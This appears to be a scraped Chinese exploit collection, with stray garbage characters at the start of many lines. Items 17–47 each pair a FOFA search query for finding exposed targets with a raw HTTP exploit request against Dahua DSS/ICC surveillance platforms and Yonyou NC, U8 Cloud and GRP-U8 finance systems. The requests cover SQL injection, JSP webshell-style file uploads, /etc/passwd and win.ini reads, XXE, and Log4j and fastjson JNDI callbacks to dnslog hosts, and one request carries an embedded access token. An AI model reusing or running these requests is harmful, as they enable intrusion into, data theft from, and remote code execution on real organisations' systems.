+ @; N8 c3 M* L1 z4 [User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
' G$ _7 c9 E4 w  U3 ~" E  uConnection: close
Accept: */*
; F+ R. ]9 @8 KAccept-Language: en
Accept-Encoding: gzip
  C2 p6 ~* Z9 O6 A1 G

- i6 t/ s) G! o/ a, @17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
7 f' j  Q1 C- ~* u1 UHost: x.x.x.x
- I' a' [- s2 {0 b" tUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 345
Accept-Encoding: gzip
* P6 x7 K5 m1 _' R/ E8 v! I9 j
<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
; Z/ @/ [0 N1 N3 p% Z/ n    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
& G: ^+ @+ t2 Q( ?      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
    </ns1:deleteBulletin>
  </s11:Body>
$ W- |+ u' P7 u- q* ~+ o</s11:Envelope>
4 U% k: e* s9 a' ^8 O& \
3 w2 C2 ?' G% I+ b9 c. A( l5 _
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
' P$ T- p! @% H: P0 KGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
* E" [: ^6 D+ c3 AHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

+ x8 L" b6 O$ z7 ^3 q- X
9 c6 r, {" U2 D* l
; t* g' B, _+ y; \/ Z+ J19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
9 Q: Q: Q7 _2 YGET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
4 {5 ~' H3 Q- D2 o5 IHost:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
' ]( [3 T: l' W4 TAccept-Encoding: gzip, deflate
8 M# R- J$ v4 VAccept: */*
Connection: keep-alive
! N6 ~) @$ Y* l7 ]! |

3 |5 t( U$ t0 N8 a( N# n20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
, I  {% G9 m& vGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
5 w- p1 C! {. IConnection: close
Accept: */*
8 {: j7 q- E6 b! h9 ]( HAccept-Language: en
8 L+ n1 [1 v# W- |+ pAccept-Encoding: gzip


21. 大华ICC智能物联综合管理平台random远程代码执行
8 h' x1 c, U& S  j, l- Q7 [2 l. _: KFOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
! ^- i3 q# @) C: W9 {( _+ a4 NHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
. t4 X" i# u7 MAccept-Encoding: gzip
7 {9 I+ K" o9 ]! ^) z' @( }. kConnection: close
Content-Type: application/json;charset=utf-8

{
. l1 O. }3 _% e+ P, W"a":{
/ q1 b- q, y, p7 K4 @! x   "@type":"com.alibaba.fastjson.JSONObject",
# Q1 n$ y( F. _$ d2 B0 Q    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
}
# I! p3 `9 `& T% J  g/ d$ Y. n' _- G' y

22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
' ^0 b% H5 @# ^+ y6 w! a7 q4 f9 yHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8
% j/ J# V* B& Y# f; Y: ?" \
{
1 @' t2 E$ \% z% g  `6 o0 k6 A1 V"loginName":"${jndi:ldap://dnslog}"
# y9 W  u; X; @7 ^1 N}
2 |' H  d1 ?" X  n/ G
2 H- ~( \0 b3 h* ?( n

23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
- d: _& k  \* yHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
3 a" F; A4 c' i% `5 ~6 e  ?) jContent-Type: application/json;charset=utf-8
: v8 d; |" x, l, bAccept-Encoding: gzip
8 G) M( _; t8 V9 RConnection: close

{
    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
5 Z/ t! r% l9 {2 I& O5 s       {"@type":"java.net.URL","val":"http://DNSLOG"}
2 e" O+ l6 @0 |: Z& U# K  E        }""
/ I$ d2 l, e, I  v3 S- P}

' m( I7 b; g1 y; I! E2 W5 D
24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
8 K) Z9 [7 e, F0 i/ p: YPOST /aim/equipmap/accept.jsp HTTP/1.1
7 t' X8 r) ]- M6 b5 yHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 449
Accept: */*
0 T$ o' }, {& K; ^7 [% q/ x. }Accept-Encoding: gzip
- g4 s5 b) `& |) E3 R- cContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
! r' Y  o' v& ?2 \9 _! _. V
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
/ I% m: A- I9 S" ?Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain
; H6 o5 U3 R0 t" u
9 `* K" ]1 T6 Z! b<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
* S  Q. e9 E; `0 ^4 T) ]  ~" jContent-Disposition: form-data; name="fname"

\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
$ ^1 `) c' U2 g* ~  R  x-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--

4 r  O% w$ C0 o8 u' n2 Z8 \$ }
7 t/ h2 S+ p) ~8 X9 l( ]+ g2 B25. 用友NC registerServlet JNDI 远程代码执行
$ `* Y# \/ b1 ~) C( A' bFOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
Host: your-ip
$ }& J* k8 W2 {( pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
% `8 V! P& Z7 o4 J# DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
$ I& A4 W* N8 Q3 ]  B0 ~Content-Type: application/x-www-form-urlencoded

type=1&dsname=ldap://dnslog
3 ?; l1 |8 j7 O% J1 Z  P
# E/ b+ `2 o( ?: a1 x
0 [6 v, }9 r1 x+ Q; T3 c9 [
& \- M0 E' l) X: f0 o! R26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
3 F8 ~7 N3 D5 C8 ~# P+ CConnection: keep-alive
+ Y4 i- y7 A) _- e7 U8 C
" q6 E& \% D' F. V$ e2 w5 [
4 o; A# M! z) Y( t7 @. r1 p: D; l27. 用友 NC showcontent SQL注入
1 G, L3 \+ q& R0 m, r; l" lFOFA：icon_hash="1085941792"
% ~0 y$ X- S7 o+ k1 f1 cGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
+ L( P' A/ L. `/ _* h1 ?6 g# v  q) kHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
5 r3 s1 W  R. e. F5 BAccept-Encoding: identity
Connection: close
Content-Type: text/xml; charset=utf-8
( |- v4 c$ \  Z/ E

7 n; X& ~7 X& j28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
. T$ A/ V8 g' N' U% G% u* z2 hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
0 y" ^4 H, ?" mConnection: close
Content-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
$ |6 }# t$ u$ h- A; h3 _$ @, x" @Accept-Encoding: gzip
  n) @2 j$ d9 D# l) Q' n; ^
# R  R7 f7 S* e7 H# K------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
: T! p6 ]# i+ |2 v; z  [9 V6 CContent-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
0 k. @+ J, p8 b+ m0 h/ x- c; jContent-Type: application/octet-stream

<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
2 j$ Q- b. S/ I! M' n$ O: _------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--


/uapim/static/pages/nc/head.jsp
. |( ?/ L, n, S; ~7 }; v- L* v
29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
" P* Q) _4 `; C6 Y, W0 ]% pHost: your-ip
2 e+ t/ [1 z# F& r9 u  P# C1 UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

- Z; f. K& i( i) E5 P9 }
4 y+ Z2 F( I# A; S( Y( S' l30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
6 h. P! E$ W4 m3 R! Z" {POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
* e8 k3 s8 o5 |: BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
, d  A$ _- h! m- a9 UConnection: close

------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
" @. @# q5 c1 Y9 t8 AContent-Type: image/jpeg
3 T9 `0 s3 Z' [  W: t4 S------WebKitFormBoundaryH970hbttBhoCyj9V--

6 t  l" K. e( T. I+ w1 e
* B) {+ J( W9 S& d31. 用友NC runStateServlet SQL注入
: ~5 M: m0 s6 H  l  f. {version<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
( G2 w0 ?, w; i6 a+ `Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
; `( V7 k- }- s3 j; d

  G5 ?: i1 ~# R; ]5 ?5 o32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
0 r/ ^' k' U  c' T( {+ B$ qFOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
/ y* K2 E/ s" f' B, j6 U( d* bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
  i& F/ q- p4 l3 AContent-Type: application/x-www-form-urlencoded
0 k* P& r! M1 P/ _6 S; r1 zAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
. f1 b& W% D( W' _4 O
# T0 e7 _( _- ?  @# ~
33. 用友NC downTax/download SQL注入
/ D) z3 k' L: j- r; p, o4 Uversion：NC6.5FOFA：app="用友-UFIDA-NC"
9 G7 z( v% V0 L* l  N) K. QGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
2 l3 Z$ e8 {2 fHost: your-ip
5 I; L( Z! ~- C& v) ^& ]+ q, `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
3 _- G. n" T1 J- r# C/ VAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

3 u! Z4 T0 R3 O+ W2 V9 j
34. 用友NC warningDetailInfo接口SQL注入
4 m. V% l+ N7 s6 q' w# E9 {FOFA：app="用友-UFIDA-NC"
$ z' F; [& Q( v9 kGET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
, w. i( d: Q% e& U- ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
4 ~4 g+ E% s; F5 m; L2 aContent-Type: application/x-www-form-urlencoded
0 W/ n. v- ]# X, t3 ?5 `Accept-Encoding: gzip, deflate
8 t8 q+ Z' v- qAccept: */*
% N% D2 {, r/ ]$ G, I7 X; m5 tConnection: keep-alive
& w6 w7 z1 {9 E; A( l; U( q/ s
% b0 Z- o, b7 J6 ?# A
9 D9 \2 G. ?( ~% M4 f3 ?3 S35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
) y) a" Z  w0 Q' D; fHost: 203.25.218.166:8888
1 G3 n6 K0 r# v( o. K# l# qUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
Accept: */*
" C0 F, s& T% SConnection: close
9 _! y/ O- z0 f; e3 N) UaccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
+ g* e" R! M1 ^' `* }7 t  P. Q- BContent-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
% h5 C. d6 ^: O* ~" X
  X+ u- m- f9 c4 ?1 n--fd28cb44e829ed1c197ec3bc71748df0
8 k% @' L! O( a% c4 rContent-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
( m+ V% ~1 D/ }+ j+ r
  y4 V9 D% a9 W9 j1 a<%out.println(1111*1111);%>
: y# G5 N" S1 S2 ?1 k/ ?--fd28cb44e829ed1c197ec3bc71748df0--


0 w. N+ j+ x' {36. 用友NC-Cloud soapFormat XXE
! s8 h  p! I. u  v4 B# g$ k: |FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
* S) J7 B6 o, h4 e, O+ `* `) MHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
0 d1 r% ]8 ], H* W7 S6 |Content-Length: 263
2 O  H9 n- K$ m7 W  x6 u. F, y5 bAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
; s9 x0 U6 }* R1 {8 eAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, E# o4 m/ ?+ M1 BConnection: close
8 N. \/ G2 y% E& ~; OContent-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1

0 f& U# v3 E& Z. @, Z$ `msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a


# y, I9 c" l# H- y0 t4 y8 Z37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
& a* X2 K- \8 L5 dHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
$ z% l7 M$ m/ m9 j" g5 nContent-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
6 v- F  U& T  C1 D% b* CAccept-Language: zh-CN,zh;q=0.9
. E2 u% r7 s6 x. CConnection: close
Content-Type: text/xml;charset=UTF-8
SOAPAction: urn:getResult
# |. l4 x2 m& }5 n: nUpgrade-Insecure-Requests: 1

. g7 w* H4 D7 e8 H- ?8 e  `6 J<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
, `- G9 Y( a$ r* Z<soapenv:Header/>
<soapenv:Body>
6 s7 d( e) g/ v5 G/ k<iup:getResult>
* T; {0 T: j3 }<!--type: string-->
( a1 Z& z: P/ n( O7 n4 `' _' b<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
7 Z1 @! S; z" C+ h+ f<xxx/>]]></iup:string>
</iup:getResult>
) N! X6 x  m- F& x* i( f4 ~</soapenv:Body>
$ K8 d9 P; }5 k, l. _/ G1 E; I8 S</soapenv:Envelope>
' Z) o% ~/ e& Z1 J4 H5 s


38. 用友U8 Cloud smartweb2.RPC.d XXE
! H: j9 h( a1 j( e" N4 wFOFA：app="用友-U8-Cloud"
3 c3 P, j$ z2 S0 y4 [) jPOST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
2 z! d( m/ {' z3 T/ F5 O+ T1 {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
* Z, [( v0 B. E8 ~Content-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
! z+ K5 b3 x# K+ T. t7 RAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
& P, F* Y8 ~9 J$ L: w' ]9 z4 MContent-Type: application/x-www-form-urlencoded
1 e; |' V) m- ^" G6 k
2 K) q$ k% s  H! R; j__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
/ Q9 J  G* {; `  D! K3 @9 L
3 [* ?* I: C" v: C
39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
6 r6 Z0 [5 H- `9 T. Z# j; mHost: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 85
: g1 E3 x+ T- {' `Accept: */*
Accept-Language: en
3 A$ p( v% \6 [1 o7 G( JContent-Type: application/x-www-form-urlencoded
" V4 ]1 |0 X6 j2 m5 v9 HX-Forwarded-For: 127.0.0.1
' I% i( W- B& u( W: b; pAccept-Encoding: gzip
5 X9 B( }6 ]7 Y$ {1 P
+ ?" Y7 G; b' a$ Pusercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--


40. 用友U8-Cloud XChangeServlet XXE
! c" k$ U  i& H4 U1 eFOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
0 |4 E+ X$ S3 q% m0 g3 |Host: x.x.x.x
5 H. P. B2 o) H( _( jUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
Connection: close

<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>

) X: n. J+ Q0 g4 n
* j7 W# u; h$ Y0 C$ ]$ ^41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
5 f2 c5 X: U2 a$ O, o5 rFOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
" S$ z9 ?! a6 d* KHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
' j9 Y  @5 b6 V% D/ EContent-Type: application/json
# k8 B7 ~# B1 U; eAccept-Encoding: gzip
Connection: close
: S3 r9 Y- y! _; C' }

4 ^. L" Z1 n% N! [9 k; ~42. 用友GRP-U8 SmartUpload01 文件上传
1 ?; n( r- [) D) u! i5 L/ L3 lFOFA：app="用友-GRP-U8"
5 a" ]& T8 q! Q: x+ {POST /u8qx/SmartUpload01.jsp HTTP/1.1
5 C+ H* p! ?; N! ?' ^7 w8 KHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
/ ]5 i) z; n1 g5 fUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
" ^: L6 T  f) X4 F
PAYLOAD

7 ^' M2 `) b3 B" d$ C
http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
2 S2 ]' N- Q- o( m- t, e) [4 o& B
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
* n& O; ^+ y$ u3 c7 d) fHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
& n% {2 ]5 C6 s" Q5 w# H8 j" QAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 j$ l7 z2 ~& y7 HAccept-Encoding: gzip, deflate
; D8 [  y$ v1 ?6 VAccept-Language: zh-CN,zh;q=0.9
Connection: close
SOAPAction:
/ b$ n; G* N7 |Content-Type: text/xml;charset=UTF-8

. \/ L$ Y( S0 c! V2 v$ D<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
( b7 Y* _9 F+ h4 @% t. H   <soapenv:Header/>
   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
9 L# _3 `- H; v) K. ]+ ^8 s) W; K3 z         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
; U% c6 I) K& z  f( D& e      </ser:getUserNameById>
. A/ `7 z% }. e9 c( d   </soapenv:Body>
</soapenv:Envelope>


( @" \( N4 W. w1 O! b44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 E  |& ]$ K. hAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
' H" b/ A+ ~' IConnection: close

* `& Y! v4 f. d% f- k: _  V4 [
. g, V! d  _, e% |0 F7 H9 T$ ^45. 用友GRP-U8 ufgovbank XXE
% ^5 g0 l1 b7 X9 k4 Z" p/ mFOFA：app="用友-GRP-U8"
; \0 k$ n* L; H( O9 v; S' q% zPOST /ufgovbank HTTP/1.1
# r& K0 A6 w' z- r7 G! lHost: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
Content-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
8 S+ B9 h7 n: q# r3 w. n9 _Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  I& p  `5 F4 Q8 A! C$ PContent-Type: application/x-www-form-urlencoded
" x+ V$ ~) C+ X2 E) w5 pAccept-Encoding: gzip
1 A3 A) ~# [! @: V
& u7 A/ a8 n2 w8 u, r+ PreqData=<?xml version="1.0"?>
- P. A# j5 c. z* f<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
8 b' Y8 d2 V& E" s+ B1 V
* S3 v( m' ?3 ^5 H% C( B% R
6 l. I# Q, _& d0 Q; n6 e2 |46. 用友GRP-U8 sqcxIndex.jsp SQL注入
4 |1 `. s8 f5 R7 ZFOFA：app="用友-GRP-U8"
& O8 K* i9 [$ X, K1 oGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
; m# i, D9 G( Z  tHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
, ]7 E+ G9 ?5 x# M# _$ z7 t8 kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
6 f1 [1 a4 [, HGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
9 h% e$ t+ m1 I; X$ {Host: x.x.x.x
Cache-Control: max-age=0
+ {: C7 \) e7 r! ?' K: h1 B# M; BUpgrade-Insecure-Requests: 1
